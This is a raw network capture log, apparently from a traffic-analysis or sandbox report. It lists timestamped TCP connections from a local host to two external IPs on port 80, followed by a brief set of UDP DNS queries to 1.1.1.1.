Jan 5, 2025 10:51:18.048413038 CET	59085	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:18.053442955 CET	80	59085	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:18.053493977 CET	59085	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:21.636698008 CET	59086	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:21.641581059 CET	80	59086	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:21.642184019 CET	59086	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:21.642342091 CET	59086	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:21.647250891 CET	80	59086	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:21.647490025 CET	59086	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:22.214930058 CET	59087	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:22.219840050 CET	80	59087	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:22.219995975 CET	59087	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:22.220062017 CET	59087	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:22.225034952 CET	80	59087	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:22.225264072 CET	59087	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:23.918240070 CET	59088	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:23.923079967 CET	80	59088	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:23.927062988 CET	59088	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:23.930855036 CET	59088	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:23.936230898 CET	80	59088	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:23.938286066 CET	59088	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:24.341216087 CET	59089	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:24.346086025 CET	80	59089	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:24.346209049 CET	59089	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:24.346895933 CET	59089	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:24.351682901 CET	80	59089	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:24.352032900 CET	59089	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:27.534121037 CET	59090	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:27.538949966 CET	80	59090	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:27.539086103 CET	59090	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:27.539166927 CET	59090	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:27.544109106 CET	80	59090	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:27.544154882 CET	59090	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:28.456351995 CET	59091	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:28.461179972 CET	80	59091	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:28.461261034 CET	59091	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:28.461373091 CET	59091	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:28.466356039 CET	80	59091	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:28.466485023 CET	59091	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:28.724272966 CET	59092	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:28.729140997 CET	80	59092	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:28.729295969 CET	59092	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:28.729412079 CET	59092	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:28.734258890 CET	80	59092	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:28.735030890 CET	59092	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:30.824263096 CET	59093	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:30.829924107 CET	80	59093	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:30.829998970 CET	59093	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:30.834841967 CET	59093	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:30.839663982 CET	80	59093	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:30.839730024 CET	59093	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:30.949848890 CET	59094	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:30.954670906 CET	80	59094	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:30.954755068 CET	59094	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:30.960047960 CET	59094	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:30.964853048 CET	80	59094	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:30.964929104 CET	59094	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:33.886756897 CET	59095	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:33.891608000 CET	80	59095	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:33.891788006 CET	59095	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:33.891788006 CET	59095	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:33.896785021 CET	80	59095	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:33.896924973 CET	59095	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.000935078 CET	59096	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.005774975 CET	80	59096	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:34.005971909 CET	59096	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.006138086 CET	59096	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.010999918 CET	80	59096	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:34.011198997 CET	59096	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.183003902 CET	59097	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.187768936 CET	80	59097	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:34.188013077 CET	59097	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.188149929 CET	59097	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.193059921 CET	80	59097	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:34.193320036 CET	59097	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.442142010 CET	59098	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:34.446949005 CET	80	59098	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:34.447032928 CET	59098	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:34.447468042 CET	59098	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:34.452239990 CET	80	59098	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:34.452336073 CET	59098	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:34.547342062 CET	59099	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.552198887 CET	80	59099	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:34.552253962 CET	59099	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.552334070 CET	59099	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:34.557234049 CET	80	59099	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:34.557284117 CET	59099	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:36.052984953 CET	59100	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:36.057879925 CET	80	59100	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:36.057951927 CET	59100	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:36.058038950 CET	59100	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:36.062916040 CET	80	59100	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:36.062975883 CET	59100	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:36.309704065 CET	59101	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:36.314584970 CET	80	59101	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:36.314642906 CET	59101	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:36.319165945 CET	59101	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:36.324114084 CET	80	59101	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:36.324187040 CET	59101	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:38.756445885 CET	59102	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:38.761267900 CET	80	59102	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:38.761425018 CET	59102	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:38.761498928 CET	59102	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:38.766459942 CET	80	59102	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:38.769073009 CET	59102	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:38.967474937 CET	59103	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:38.972296000 CET	80	59103	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:38.972378969 CET	59103	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:38.972523928 CET	59103	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:38.977423906 CET	80	59103	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:38.977896929 CET	59103	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:40.086869001 CET	59104	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:40.091718912 CET	80	59104	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:40.091788054 CET	59104	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:40.100619078 CET	59104	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:40.105515003 CET	80	59104	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:40.105566025 CET	59104	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:40.201808929 CET	59105	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:40.206649065 CET	80	59105	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:40.206706047 CET	59105	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:40.209775925 CET	59105	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:40.214621067 CET	80	59105	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:40.214659929 CET	59105	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:43.066329956 CET	59106	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:43.071161985 CET	80	59106	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:43.071366072 CET	59106	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:43.071494102 CET	59106	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:43.076364994 CET	80	59106	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:43.076664925 CET	59106	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:43.172713995 CET	59107	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:43.177617073 CET	80	59107	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:43.177766085 CET	59107	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:43.177902937 CET	59107	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:43.182900906 CET	80	59107	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:43.183128119 CET	59107	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:44.946362972 CET	59108	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:44.951176882 CET	80	59108	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:44.951401949 CET	59108	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:44.951401949 CET	59108	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:44.956355095 CET	80	59108	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:44.956964016 CET	59108	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:45.046619892 CET	59109	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:45.051438093 CET	80	59109	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:45.051600933 CET	59109	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:45.051600933 CET	59109	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:45.056595087 CET	80	59109	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:45.056771040 CET	59109	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:47.746649027 CET	59110	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:47.751534939 CET	80	59110	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:47.751595020 CET	59110	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:47.751655102 CET	59110	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:47.756644011 CET	80	59110	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:47.756695032 CET	59110	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:48.245455027 CET	59111	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:48.250264883 CET	80	59111	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:48.250322104 CET	59111	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:48.256752968 CET	59111	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:48.261574030 CET	80	59111	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:48.261627913 CET	59111	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:48.361707926 CET	59112	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:48.366592884 CET	80	59112	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:48.366667986 CET	59112	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:48.366731882 CET	59112	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:48.371526003 CET	80	59112	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:48.371685982 CET	80	59112	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:48.371738911 CET	59112	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:48.440696955 CET	59113	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:48.445535898 CET	80	59113	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:48.445611954 CET	59113	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:48.459851027 CET	59113	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:48.464695930 CET	80	59113	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:48.464751005 CET	59113	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:49.000969887 CET	59114	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:49.006181955 CET	80	59114	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:49.011771917 CET	59114	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:49.011773109 CET	59114	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:49.016827106 CET	80	59114	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:49.022964954 CET	59114	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:50.037475109 CET	59115	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:50.042365074 CET	80	59115	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:50.042433977 CET	59115	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:50.042521000 CET	59115	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:50.047482014 CET	80	59115	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:50.047524929 CET	59115	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:50.593739986 CET	59116	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:50.598612070 CET	80	59116	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:50.598716974 CET	59116	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:50.598788023 CET	59116	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:50.603867054 CET	80	59116	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:50.604048967 CET	59116	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:52.371237040 CET	59117	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:52.376147985 CET	80	59117	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:52.376218081 CET	59117	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:52.376348019 CET	59117	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:52.381207943 CET	80	59117	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:52.381272078 CET	59117	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:53.160384893 CET	59118	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:53.165244102 CET	80	59118	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:53.165704966 CET	59118	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:53.165791988 CET	59118	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:53.170655966 CET	80	59118	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:53.170717955 CET	59118	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:56.577909946 CET	59119	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:56.582796097 CET	80	59119	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:56.582904100 CET	59119	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:56.582989931 CET	59119	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:56.591566086 CET	80	59119	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:56.592822075 CET	80	59119	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:56.593074083 CET	59119	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:57.184176922 CET	59120	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:57.189060926 CET	80	59120	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:57.189131975 CET	59120	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:57.189208984 CET	59120	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:57.194238901 CET	80	59120	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:57.194310904 CET	59120	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:57.502641916 CET	59121	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:57.507466078 CET	80	59121	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:57.507611990 CET	59121	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:57.507718086 CET	59121	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:57.512583017 CET	80	59121	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:57.512659073 CET	59121	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:59.188394070 CET	59122	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:59.193228960 CET	80	59122	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:59.193361044 CET	59122	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:59.193434954 CET	59122	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:59.198431969 CET	80	59122	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:59.198514938 CET	59122	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:59.338974953 CET	59123	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:59.343794107 CET	80	59123	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:59.343883991 CET	59123	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:59.343950033 CET	59123	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:59.348906994 CET	80	59123	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:59.348957062 CET	59123	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:59.865520000 CET	59124	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:59.870421886 CET	80	59124	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:59.870520115 CET	59124	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:59.870626926 CET	59124	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:59.875533104 CET	80	59124	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:59.875567913 CET	80	59124	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:59.876046896 CET	59124	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:00.073656082 CET	59125	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.078531981 CET	80	59125	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:00.078819990 CET	59125	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.079175949 CET	59125	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.083935976 CET	80	59125	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:00.087678909 CET	59125	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.310827017 CET	59126	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.315690041 CET	80	59126	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:00.316119909 CET	59126	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.316119909 CET	59126	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.321146011 CET	80	59126	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:00.323453903 CET	59126	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.696847916 CET	59127	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.701663971 CET	80	59127	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:00.701730967 CET	59127	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.701817036 CET	59127	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.706728935 CET	80	59127	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:00.706778049 CET	59127	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:00.920377016 CET	59128	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:00.925992966 CET	80	59128	88.198.29.97	192.168.2.4
Jan 5, 2025 10:52:00.926053047 CET	59128	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:00.928631067 CET	59128	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:00.933463097 CET	80	59128	88.198.29.97	192.168.2.4
Jan 5, 2025 10:52:00.933521032 CET	59128	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:00.997900963 CET	59129	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:01.003083944 CET	80	59129	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:01.003146887 CET	59129	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:01.006712914 CET	59129	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:01.011507988 CET	80	59129	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:01.011533976 CET	80	59129	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:01.011573076 CET	59129	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:01.229384899 CET	59130	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:01.234220982 CET	80	59130	88.198.29.97	192.168.2.4
Jan 5, 2025 10:52:01.234277010 CET	59130	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:01.234354973 CET	59130	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:01.239198923 CET	80	59130	88.198.29.97	192.168.2.4
Jan 5, 2025 10:52:01.239244938 CET	59130	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:01.372737885 CET	59131	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:01.377600908 CET	80	59131	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:01.377659082 CET	59131	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:01.381800890 CET	59131	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:01.386666059 CET	80	59131	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:01.386713982 CET	59131	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:03.823386908 CET	59132	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:03.828305960 CET	80	59132	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:03.828367949 CET	59132	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:03.828454018 CET	59132	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:03.833389997 CET	80	59132	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:03.833450079 CET	59132	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:03.895494938 CET	59133	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:03.900284052 CET	80	59133	88.198.29.97	192.168.2.4
Jan 5, 2025 10:52:03.900366068 CET	59133	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:03.900738955 CET	59133	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:03.905529976 CET	80	59133	88.198.29.97	192.168.2.4
Jan 5, 2025 10:52:03.906979084 CET	59133	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:04.671376944 CET	59134	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:04.676352024 CET	80	59134	88.198.29.97	192.168.2.4
Jan 5, 2025 10:52:04.676419020 CET	59134	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:04.676501989 CET	59134	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:04.681682110 CET	80	59134	88.198.29.97	192.168.2.4
Jan 5, 2025 10:52:04.683254004 CET	59134	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:04.836126089 CET	59135	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:04.840971947 CET	80	59135	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:04.841054916 CET	59135	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:04.841169119 CET	59135	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:04.846116066 CET	80	59135	64.70.19.203	192.168.2.4
Jan 5, 2025 10:52:04.846164942 CET	59135	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:52:04.909856081 CET	59136	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:04.915734053 CET	80	59136	88.198.29.97	192.168.2.4
Jan 5, 2025 10:52:04.915815115 CET	59136	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:04.915930033 CET	59136	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:52:04.922574043 CET	80	59136	88.198.29.97	192.168.2.4
Jan 5, 2025 10:52:04.922818899 CET	59136	80	192.168.2.4	88.198.29.97

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 10:48:02.152153015 CET	54277	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:02.162235022 CET	53	54277	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:02.219578981 CET	65159	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:02.228100061 CET	53	65159	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:02.334842920 CET	61772	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:02.346414089 CET	53	61772	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:02.348864079 CET	63202	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:02.366398096 CET	53	63202	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:02.479657888 CET	62572	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:02.492484093 CET	53	62572	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:02.494726896 CET	63156	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:02.505788088 CET	53	63156	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:02.616353035 CET	51963	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:02.626646996 CET	53	51963	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:02.628736019 CET	50208	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:02.641494989 CET	53	50208	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:02.756750107 CET	61812	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:02.814805031 CET	53	61812	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:02.852348089 CET	59640	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:03.085719109 CET	53	59640	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:03.694324970 CET	63047	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:03.816293001 CET	53	63047	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:03.819408894 CET	62978	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:03.922667980 CET	53	62978	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:04.046010971 CET	58090	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:04.063437939 CET	53	58090	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:04.084638119 CET	50251	53	192.168.2.4	1.1.1.1
